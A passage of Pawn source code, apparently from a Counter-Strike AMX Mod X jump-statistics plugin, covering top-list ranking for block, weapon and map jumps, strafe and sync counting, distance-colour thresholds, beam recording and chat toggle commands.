		
		if(TrieKeyExists(JData_Block, tmp_type))
		{	
			TrieGetCell(JData_Block, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "block", tmp_block[i]);
			TrieGetCell(JS, "jumpoff", tmp_jumpoff[i]);
		}
	}
	
	
	new tmp_dist;
	for (new j = 0; j < NTOP; j++)
	{	
		if(bb==tmp_block[j] && equali(tmp_ip[j],rb))
		{
			tmp_dist=tmp_distance[j];
			break;
		}
		else tmp_dist=0;
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( bb >= tmp_block[i] && d>tmp_dist)
		{
			new pos = i;	
			while( !equali(tmp_ip[pos],rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_block[j] = tmp_block[j-1];
				tmp_jumpoff[j] = tmp_jumpoff[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			tmp_distance[i]=d;
			tmp_block[i] = bb;
			tmp_jumpoff[i] = jj;
			
			
			new oldBlock,start_array;
			oldBlock=tmp_block[0];
			start_array=0;
			
			for (new ii = 0; ii < NTOP; ii++)
			{
				if(tmp_block[ii]!=oldBlock)
				{
					new bool:check=true;
					while(check)
					{
						check=false;
						for(new jjj=start_array;jjj<ii-1;jjj++)
						{
							if(tmp_distance[jjj]<tmp_distance[jjj+1])
							{
								new buf1;
								buf1=tmp_distance[jjj];
								tmp_distance[jjj]=tmp_distance[jjj+1];
								tmp_distance[jjj+1]=buf1;
								
								new Float:buf2;
								buf2=tmp_jumpoff[jjj];
								tmp_jumpoff[jjj]=tmp_jumpoff[jjj+1];
								tmp_jumpoff[jjj+1]=buf2;
								
								new buf3[33];
								formatex(buf3,32,tmp_names[jjj]);
								formatex(tmp_names[jjj],32,tmp_names[jjj+1]);
								formatex(tmp_names[jjj+1],32,buf3);
								
								formatex(buf3,32,tmp_ip[jjj]);
								formatex(tmp_ip[jjj],32,tmp_ip[jjj+1]);
								formatex(tmp_ip[jjj+1],32,buf3);
								
								check=true;
							}
						}
					}
					start_array=ii;
				}
				oldBlock=tmp_block[ii];
			}
			
			save_tops_block(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_block,tmp_jumpoff);
			
			for (new j = 0; j < NTOP; j++)
			{	
				if(d==tmp_distance[j] && equali(tmp_ip[j],rb))
				{
					client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP2",prefix,g_playername[id],(j+1),type,bb);				
				}
			}
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}
public checktops_block_weapon(id,pev_max_speed,wpn_rank,type[],type_num,Float:dd,Float:jj,bb,wpn_name[]) 
{	
	new d,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_weap_name[NTOP+1][33],tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
		
		if(TrieKeyExists(JData_Block, tmp_type))
		{	
			TrieGetCell(JData_Block, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "block", tmp_block[i]);
			TrieGetCell(JS, "jumpoff", tmp_jumpoff[i]);
			TrieGetString(JS, "wpn_name", tmp_weap_name[i],32);
		}
	}
	
	new tmp_dist;
	for (new j = 0; j < NTOP; j++)
	{	
		if(bb==tmp_block[j] && equali(tmp_ip[j],rb))
		{
			tmp_dist=tmp_distance[j];
			break;
		}
		else tmp_dist=0;
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( bb >= tmp_block[i] && d>tmp_dist)
		{
			new pos = i;	
			while( !equali(tmp_ip[pos],rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				formatex(tmp_weap_name[j], 32, tmp_weap_name[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_block[j] = tmp_block[j-1];
				tmp_jumpoff[j] = tmp_jumpoff[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			formatex(tmp_weap_name[i], 32, wpn_name);
			tmp_distance[i]=d;
			tmp_block[i] = bb;
			tmp_jumpoff[i] = jj;
			
			
			new oldBlock,start_array;
			oldBlock=tmp_block[0];
			start_array=0;
			
			for (new ii = 0; ii < NTOP; ii++)
			{
				if(tmp_block[ii]!=oldBlock)
				{
					new bool:check=true;
					while(check)
					{
						check=false;
						for(new jjj=start_array;jjj<ii-1;jjj++)
						{
							if(tmp_distance[jjj]<tmp_distance[jjj+1])
							{
								new buf1;
								buf1=tmp_distance[jjj];
								tmp_distance[jjj]=tmp_distance[jjj+1];
								tmp_distance[jjj+1]=buf1;
								
								new Float:buf2;
								buf2=tmp_jumpoff[jjj];
								tmp_jumpoff[jjj]=tmp_jumpoff[jjj+1];
								tmp_jumpoff[jjj+1]=buf2;
								
								new buf3[33];
								formatex(buf3,32,tmp_names[jjj]);
								formatex(tmp_names[jjj],32,tmp_names[jjj+1]);
								formatex(tmp_names[jjj+1],32,buf3);
								
								formatex(buf3,32,tmp_ip[jjj]);
								formatex(tmp_ip[jjj],32,tmp_ip[jjj+1]);
								formatex(tmp_ip[jjj+1],32,buf3);
								
								formatex(buf3,32,tmp_weap_name[jjj]);
								formatex(tmp_weap_name[jjj],32,tmp_weap_name[jjj+1]);
								formatex(tmp_weap_name[jjj+1],32,buf3);
								
								check=true;
							}
						}
					}
					start_array=ii;
				}
				oldBlock=tmp_block[ii];
			}
			
			save_tops_block_weapon(type,type_num,wpn_rank,tmp_names,tmp_ip,tmp_distance,tmp_block,tmp_jumpoff,tmp_weap_name);
			
			for (new j = 0; j < NTOP; j++)
			{	
				if(d==tmp_distance[j] && equali(tmp_ip[j],rb))
				{
					client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP3",prefix,g_playername[id],(j+1),type,pev_max_speed,bb);				
				}
			}
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}
public checktops_weapon(id,pev_max_speed,wpn_rank,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s,wpn_name[]) 
{	
	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}

	new tmp_weap_name[NTOP+1][33],tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_wpnrank[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
		
		if(TrieKeyExists(JData, tmp_type))
		{	
			TrieGetCell(JData, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
			TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
			TrieGetCell(JS, "strafes", tmp_strafes[i]);
			TrieGetCell(JS, "sync", tmp_sync[i]);
			TrieGetCell(JS, "pspeed", tmp_wpnrank[i]);
			TrieGetString(JS, "wpn_name", tmp_weap_name[i],32);
		}

		if( d > tmp_distance[i] )
		{
			new pos = i;

			while( !equali(tmp_ip[pos],rb) && pos < NTOP )	pos++;
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				formatex(tmp_weap_name[j], 32, tmp_weap_name[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_maxspeed[j] = tmp_maxspeed[j-1];
				tmp_prestrafe[j] = tmp_prestrafe[j-1];
				tmp_strafes[j] = tmp_strafes[j-1];
				tmp_sync[j] = tmp_sync[j-1];
			}
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			formatex(tmp_weap_name[i], 32, wpn_name);
			tmp_distance[i]=d;
			tmp_maxspeed[i] = m;
			tmp_prestrafe[i] = p;
			tmp_strafes[i] = sf;
			tmp_sync[i] = s;
			save_tops_weapon(type,type_num,wpn_rank,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_weap_name);

			Color_Chat_Lang(0,NORMAL,"[^4%s^1]^4 %s^1 is now^4 %i^1 in^4 %s^1 top (weapon speed^4 %d^1) with^4 %f",prefix,g_playername[id],(i+1),type,pev_max_speed,dd);				
			
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
	return PLUGIN_HANDLED
}
public checkmap(id,Float:dd,Float:mm,Float:pp,sf,s,typ[]) 
{	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}

	for (new i = 0; i < NTOP; i++)
	{
		if( d > map_dist[i] )
		{
			new pos = i;	
			while( !equali(map_ip[pos],rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(map_ip[j], 32, map_ip[j-1]);
				formatex(map_names[j], 32, map_names[j-1]);
				map_dist[j] = map_dist[j-1];
				map_maxsped[j] =map_maxsped[j-1];
				map_prestr[j] = map_prestr[j-1];
				map_streif[j] = map_streif[j-1];
				map_syncc[j] = map_syncc[j-1];
				formatex(map_type[j], 32, map_type[j-1]);
			}
			
			formatex(map_ip[i], 32, rb);
			formatex(map_names[i], 32, g_playername[id]);
			map_dist[i]=d;
			map_maxsped[i] = m;
			map_prestr[i] = p;
			map_streif[i] = sf;
			map_syncc[i] = s;
			formatex(map_type[i], 32, typ);
			
			save_maptop();
			
			new iPlayers[32],iNum; 
			get_players( iPlayers, iNum,"ch") ;
			for(new p=0;p<iNum;p++) 
			{ 
				new ids=iPlayers[p]; 
				if(gHasColorChat[ids] ==true)
				{	
					client_print(ids,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP5",prefix,g_playername[id],(i+1),dd,typ);	
				}
			}
			break;
		}
		else if( equali(map_ip[i], rb)) break;	
	}
	return PLUGIN_HANDLED
}
public fwdPostThink( id ) 
{
	if( g_alive[id] && g_userConnected[id] && g_pBot[id]==false)
	{
		if( g_Jumped[id] ) 
		{
			
			FullJumpFrames[id]++;
			
			static buttonsNew;
			
			static buttons;
			static Float:angle[3];
	
			buttonsNew = pev(id, pev_button);
			buttons = pev(id, pev_button);
			pev(id, pev_angles, angle);
			
			new Float:velocity[3];
			pev(id, pev_velocity, velocity);
			velocity[2] = 0.0;
			
			new Float:fSpeed = vector_length(velocity);
			
			
			if( old_angle1[id] > angle[1] ) {
				turning_left[id] = false;
				turning_right[id] = true;
			}
			else if( old_angle1[id] < angle[1] ) {
				turning_left[id] = true;
				turning_right[id] = false;
			} else {
				turning_left[id] = false;
				turning_right[id] = false;
			}
			//schetchik streifof
			if( !(strafecounter_oldbuttons[id]&IN_MOVELEFT) && buttonsNew&IN_MOVELEFT
			&& !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=1;
				
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=1;
			}
			else if( !(strafecounter_oldbuttons[id]&IN_MOVERIGHT) && buttonsNew&IN_MOVERIGHT
			&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=2;
				
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=1;
			}
			else if( !(strafecounter_oldbuttons[id]&IN_BACK) && buttonsNew&IN_BACK
			&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_FORWARD)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=1;
				
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=2;
			}
			else if( !(strafecounter_oldbuttons[id]&IN_FORWARD) && buttonsNew&IN_FORWARD
			&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=2;
		
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=2;
			}
			
			if( buttonsNew&IN_MOVERIGHT
			|| buttonsNew&IN_MOVELEFT
			|| buttonsNew&IN_FORWARD
			|| buttonsNew&IN_BACK )
			{	
				//tskFps(id);
				if(strafe_num[id] < NSTRAFES)
				{
					if( fSpeed > speed[id])
					{
						strafe_stat_sync[id][strafe_num[id]][0] += INFO_ONE; 
					}
					else
					{
						strafe_stat_sync[id][strafe_num[id]][1] += INFO_ONE;
						if(uq_istrafe && strafe_num[id]<NSTRAFES && lost_frame_count[id][strafe_num[id]]<NVAR)
							line_lost[id][strafe_num[id]][lost_frame_count[id][strafe_num[id]]]=1;
					}
					
					if(uq_istrafe)
					{
						line_erase[id][strafe_num[id]]=lost_frame_count[id][strafe_num[id]];
						line_erase_strnum[id]=strafe_num[id];
					
						lost_frame_count[id][strafe_num[id]]++;
					}
				}
				
			}
			else if(uq_istrafe && strafe_num[id]<NSTRAFES)
				strafe_lost_frame[id][strafe_num[id]] += INFO_ONE;
			
			if( buttons&IN_MOVERIGHT && (buttons&IN_MOVELEFT || buttons&IN_FORWARD || buttons&IN_BACK) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( buttons&IN_MOVELEFT && (buttons&IN_FORWARD || buttons&IN_BACK || buttons&IN_MOVERIGHT) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( buttons&IN_FORWARD && (buttons&IN_BACK || buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( buttons&IN_BACK && (buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT || buttons&IN_FORWARD) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( turning_left[id] || turning_right[id] )
				strafecounter_oldbuttons[id] = buttons;
		}
		else
		{	
			if(sync_doubleduck[id])
			{
				new Float:velocity[3];
				pev(id, pev_velocity, velocity);
				velocity[2] = 0.0;
				
				new Float:fSpeed = vector_length(velocity);
				
				if( fSpeed > speed[id])
				{
					doubleduck_stat_sync[id][0]++;
				}
				else
				{
					doubleduck_stat_sync[id][1]++;
				}
			}
		}
	}
}
public get_colorchat_by_distance(JumpType:type_jump,mSpeed,t_dist,bool:drop_a,multiscj_a,aircj)
{
	new dist_array[5];
	
	dist_array[2]=280;
		
	if(type_jump==Type_Double_CountJump || type_jump==Type_Multi_CountJump )
	{	
		dist_array[4]=dcj_god_dist;
		dist_array[3]=dcj_leet_dist;
		dist_array[2]=dcj_holy_dist;
		dist_array[1]=dcj_pro_dist;
		dist_array[0]=dcj_good_dist;
	}
	else if(type_jump==Type_LongJump || type_jump==Type_HighJump)
	{	
		dist_array[4]=lj_god_dist;
		dist_array[3]=lj_leet_dist;
		dist_array[2]=lj_holy_dist;
		dist_array[1]=lj_pro_dist;
		dist_array[0]=lj_good_dist;
	}
	else if(type_jump==Type_ladder)
	{	
		dist_array[4]=ladder_god_dist;
		dist_array[3]=ladder_leet_dist;
		dist_array[2]=ladder_holy_dist;
		dist_array[1]=ladder_pro_dist;
		dist_array[0]=ladder_good_dist;
	}
	else if(type_jump==Type_WeirdLongJump || type_jump==Type_Drop_CountJump || type_jump==Type_ladderBhop)
	{	
		dist_array[4]=wj_god_dist;
		dist_array[3]=wj_leet_dist;
		dist_array[2]=wj_holy_dist;
		dist_array[1]=wj_pro_dist;
		dist_array[0]=wj_good_dist;
	}
	else if(type_jump==Type_BhopLongJump || type_jump==Type_StandupBhopLongJump)
	{	
		dist_array[4]=bj_god_dist;
		dist_array[3]=bj_leet_dist;
		dist_array[2]=bj_holy_dist;
		dist_array[1]=bj_pro_dist;
		dist_array[0]=bj_good_dist;
	}
	else if(type_jump==Type_CountJump)
	{	
		dist_array[4]=cj_god_dist;
		dist_array[3]=cj_leet_dist;
		dist_array[2]=cj_holy_dist;
		dist_array[1]=cj_pro_dist;
		dist_array[0]=cj_good_dist;
	}
	else if(type_jump==Type_Drop_BhopLongJump)
	{	
		dist_array[4]=dbj_god_dist;
		dist_array[3]=dbj_leet_dist;
		dist_array[2]=dbj_holy_dist;
		dist_array[1]=dbj_pro_dist;
		dist_array[0]=dbj_good_dist;
	}
	else if(type_jump==Type_StandUp_CountJump && drop_a==false)
	{	
		if(multiscj_a==0)
		{
			dist_array[4]=scj_god_dist+aircj;
			dist_array[3]=scj_leet_dist+aircj;
			dist_array[2]=scj_holy_dist+aircj;
			dist_array[1]=scj_pro_dist+aircj;
			dist_array[0]=scj_good_dist+aircj;
		}
		else if(multiscj_a==1 || multiscj_a==2)
		{
			dist_array[4]=scj_god_dist+aircj+10;
			dist_array[3]=scj_leet_dist+aircj+10;
			dist_array[2]=scj_holy_dist+aircj+10;
			dist_array[1]=scj_pro_dist+aircj+10;
			dist_array[0]=scj_good_dist+aircj+10;
		}
	}
	else if(type_jump==Type_StandUp_CountJump && drop_a)
	{	
		dist_array[4]=dropscj_god_dist;
		dist_array[3]=dropscj_leet_dist;
		dist_array[2]=dropscj_holy_dist;
		dist_array[1]=dropscj_pro_dist;
		dist_array[0]=dropscj_good_dist;
	}
	else if(type_jump==Type_Bhop_In_Duck || type_jump==Type_Up_Bhop_In_Duck)
	{	
		dist_array[4]=bhopinduck_god_dist;
		dist_array[3]=bhopinduck_leet_dist;
		dist_array[2]=bhopinduck_holy_dist;
		dist_array[1]=bhopinduck_pro_dist;
		dist_array[0]=bhopinduck_good_dist;
	}
	else if(type_jump==Type_Up_Bhop)
	{	
		dist_array[4]=upbj_god_dist;
		dist_array[3]=upbj_leet_dist;
		dist_array[2]=upbj_holy_dist;
		dist_array[1]=upbj_pro_dist;
		dist_array[0]=upbj_good_dist;
	}
	else if(type_jump==Type_Up_Stand_Bhop)
	{	
		dist_array[4]=upsbj_god_dist;
		dist_array[3]=upsbj_leet_dist;
		dist_array[2]=upsbj_holy_dist;
		dist_array[1]=upsbj_pro_dist;
		dist_array[0]=upsbj_good_dist;
	}
	else if(type_jump==Type_Real_ladder_Bhop)
	{	
		dist_array[4]=real_god_dist;
		dist_array[3]=real_leet_dist;
		dist_array[2]=real_holy_dist;
		dist_array[1]=real_pro_dist;
		dist_array[0]=real_good_dist;
	}
	else if(type_jump==Type_DuckBhop)
	{	
		dist_array[4]=duckbhop_god_dist;
		dist_array[3]=duckbhop_leet_dist;
		dist_array[2]=duckbhop_holy_dist;
		dist_array[1]=duckbhop_pro_dist;
		dist_array[0]=duckbhop_good_dist;
	}
	
	if(mSpeed != 250.0 && type_jump!=Type_ladder)
	{
		dist_array[4]=dist_array[4]-t_dist;
		dist_array[3]=dist_array[3]-t_dist;
		dist_array[2]=dist_array[2]-t_dist;
		dist_array[1]=dist_array[1]-t_dist;
		dist_array[0]=dist_array[0]-t_dist;
	}
	return dist_array;
}
public fnSaveBeamPos( client ) {
	if( g_Jumped[client] ) {
		new Float:vOrigin[3];
		pev(client, pev_origin, vOrigin);
		
		if( gBeam_count[client] < 100 ) {
			gBeam_points[client][gBeam_count[client]][0] = vOrigin[0];
			gBeam_points[client][gBeam_count[client]][1] = vOrigin[1];
			gBeam_points[client][gBeam_count[client]][2] = vOrigin[2];
			
			if(preessbutton[client])
			{
				gBeam_button[client][gBeam_count[client]]=true;
				
				if(button_what[client]==1)
				{
					gBeam_button_what[client][gBeam_count[client]]=1;
				}
				else if(button_what[client]==2)
				{
					gBeam_button_what[client][gBeam_count[client]]=2;
				}
			}
			
			if(is_user_ducking( client ))
				gBeam_duck[client][gBeam_count[client]] = true;
			
			gBeam_count[client]++;
		}
	}
}
public JumpReset(id,num)
{
	g_reset[id] = true;
	//if(num!=26 && num!=1 && num!=29)
	//ColorChat(id,GREEN,"jump reset %d",num);
}

public JumpReset1(id)
{
	g_reset[id] = true;
}
public ddReset(id)
{
	id=id-2311;
	JumpReset(id,27);
	//ColorChat(id, GREEN, "reset dd");
}
public Color_Chat_Lang(id,Color:type, const msg[], {Float,Sql,Result,_}:...)
{
	new message[256];

	switch(type)
	{
		case NORMAL: // clients scr_concolor cvar color
		{
			message[0] = 0x01;
		}
		case GREEN: // Green
		{
			message[0] = 0x04;
		}
		default: // White, Red, Blue
		{
			message[0] = 0x03;
		}
	}

	vformat(message[1], 251, msg, 4);
	
	replace_colors(message,191);
	
	ColorChat(id, type, "%s",message);
}
public cmdColorChat(id)
{	
	if( !gHasColorChat[id] )
	{
		gHasColorChat[id] = true;
		
		Color_Chat_Lang(id,GREEN,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_E", prefix);
	}
	else 
	{
		gHasColorChat[id] = false;
		
		Color_Chat_Lang(id,GREEN,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_D", prefix);
	}
	
	return PLUGIN_CONTINUE;
}
public cmdljStats( id ) {
	
	if(g_lj_stats[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_LJSTATS_D", prefix);
		g_lj_stats[id]=false;
		
		if(showpre[id]==true)
		{
			showpre[id]=false;
			oldpre[id]=1;
		}
		if(failearly[id]==true)
		{
			failearly[id]=false;
			oldfail[id]=1;
		}
		if(ljpre[id]==true)
		{
			ljpre[id]=false;
			oldljpre[id]=1;
		}
	}
	else 
	{
		if(oldpre[id]==1)
		{
			showpre[id]=true;
			oldpre[id]=0;
		}
		if(oldfail[id]==1)
		{
			failearly[id]=true;
			oldfail[id]=0;
		}
		if(oldljpre[id]==1)
		{
			ljpre[id]=true;
			oldljpre[id]=0;
		}
		g_lj_stats[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_LJSTATS_E", prefix);
	}
	
}


public cmdVersion( id )
{		
	Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_VERSION_1", prefix,VERSION);
	
	if(kz_sql==1)
	{
		Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_VERSION_SQL1", prefix);
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_VERSION_SQL2", prefix);
	}
	else Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_VERSION_2", prefix);
}
public pre_stats(id)
{	
	if(kz_stats_pre[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_PRESTATS_D", prefix);
		kz_stats_pre[id]=false;
	}
	else 
	{
		kz_stats_pre[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_PRESTATS_E", prefix);
	}
}
public streif_stats(id)
{	
	if(streifstat[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_STRAFESTATS_D", prefix);
		streifstat[id]=false;
	}
	else 
	{
		streifstat[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_STRAFESTATS_E", prefix);
	}
}
public cmdljbeam(id)
{
	if(ingame_strafe[id])
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BEAMDONTWORK", prefix);
	}
	else
	{
		if(kz_beam[id]==true) 
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BEAMSTATS_D", prefix);
			kz_beam[id]=false;
		}
		else 
		{
			kz_beam[id]=true;
			Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_BEAMSTATS_E", prefix);
		}
	}
}
public show_pre(id)
{
	if(showpre[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SHOWPRE_D", prefix);
		showpre[id]=false;
	}
	else 
	{
		showpre[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SHOWPRE_E", prefix);
	}
}
public show_speed(id)
{
	new tmpTeam[33],g_team;	
	get_user_team(id,tmpTeam,32);
	
	if(uq_team==0)
	{
		g_team=0;
	}
	else if(equali(tmpTeam,"TERRORIST"))
	{
		g_team=1;
	}
	else if(equali(tmpTeam,"CT"))
	{
		g_team=2;
	}
	else
	{
		g_team=uq_team;
	}
	
	if(uq_admins==1 && !player_admin[id])
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D1", prefix);
	}
	else if(g_team!=uq_team && !uq_speed_allteam)
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D2", prefix);
	}
	else
	{
		if(jofon[id])
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D3", prefix);
		}
		else
		{
			if(speedon[id]==false) 
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SPEED_E", prefix);
				speedon[id]=true;
				
				set_task(0.1, "DoSpeed", id+212299, "", 0, "b", 0);
			}
			else 
			{
				speedon[id]=false;
				
				if( task_exists(id+212299, 0) )
					remove_task(id+212299, 0);
					
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D", prefix);
			}
		}
	}
}
public trainer_jof(id)
{
	new tmpTeam[33],g_team;	
	get_user_team(id,tmpTeam,32);
	
	if(uq_team==0)
	{
		g_team=0;
	}
	else if(equali(tmpTeam,"TERRORIST"))
	{
		g_team=1;
	}
	else if(equali(tmpTeam,"CT"))
	{
		g_team=2;
	}
	else
	{
		g_team=uq_team;
	}
	
	if(uq_admins==1 && !player_admin[id])
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D1", prefix);
	}
	else if(g_team!=uq_team)
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D2", prefix);
	}
	else
	{
		if(speedon[id])
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D3", prefix);
		}
		else
		{
			if(jofon[id]==false) 
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JOFTR_E", prefix);
				jofon[id]=true;
				jof[id]=0.0;
				set_task(0.1, "Dojof", id+212398, "", 0, "b", 0);
			}
			else 
			{
				jofon[id]=false;
				
				if( task_exists(id+212398, 0) )
					remove_task(id+212398, 0);
					
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D", prefix);
			}
		}
	}
}
public speed_type(id)
{
	if(speedtype[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SPEED_B", prefix);
		speedtype[id]=true;
	}
	else 
	{
		speedtype[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_S", prefix);
	}
}
public show_jheight(id)
{
	if(jheight_show[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JHEIGH_E", prefix);
		jheight_show[id]=true;
	}
	else 
	{
